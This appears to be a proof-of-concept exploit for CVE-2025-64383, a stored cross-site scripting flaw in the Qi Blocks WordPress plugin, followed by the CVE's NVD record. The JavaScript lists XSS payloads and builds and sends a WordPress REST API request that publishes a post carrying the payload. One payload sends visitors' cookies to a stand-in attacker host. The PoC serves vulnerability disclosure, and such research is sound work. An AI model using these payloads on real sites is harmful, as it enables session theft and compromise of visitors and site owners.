CVE-2025-64383

// CVE-2025-64383 Stored XSS PoC for Qi Blocks Plugin // This PoC demonstrates how to inject malicious JavaScript through Qi Blocks modules // Step 1: Identify vulnerable Qi Blocks module input field // The vulnerability exists in various Qi Blocks module content fields // Step 2: Inject XSS payload in module content const xssPayload = '<script>alert(document.cookie)</script>'; const imgPayload = '<img src=x onerror=alert(document.domain)>'; const svgPayload = '<svg/onload=fetch("https://attacker.com/steal?c="+document.cookie)>'; // Step 3: Example WordPress REST API request to create/edit post with XSS const createPostPayload = { title: 'Test Post with XSS', content: '<!-- wp:qi-blocks/module-block -->\n<div class="qi-blocks-module">\n' + xssPayload + '\n</div>\n<!-- /wp:qi-blocks/module-block -->', status: 'publish' }; // Step 4: Send the malicious request (requires contributor+ role) fetch('/wp-json/wp/v2/posts', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-WP-Nonce': wpNonce // WordPress nonce required }, body: JSON.stringify(createPostPayload) }); // Step 5: When any user visits the published page, the XSS will execute console.log('XSS payload stored in Qi Blocks module');

{"cve": {"id": "CVE-2025-64383", "sourceIdentifier": "[email protected]", "published": "2025-11-13T10:15:54.483", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Qode Qi Blocks qi-blocks allows Stored XSS.This issue affects Qi Blocks: from n/a through <= 1.4.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/qi-blocks/vulnerability/wordpress-qi-blocks-plugin-1-4-3-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}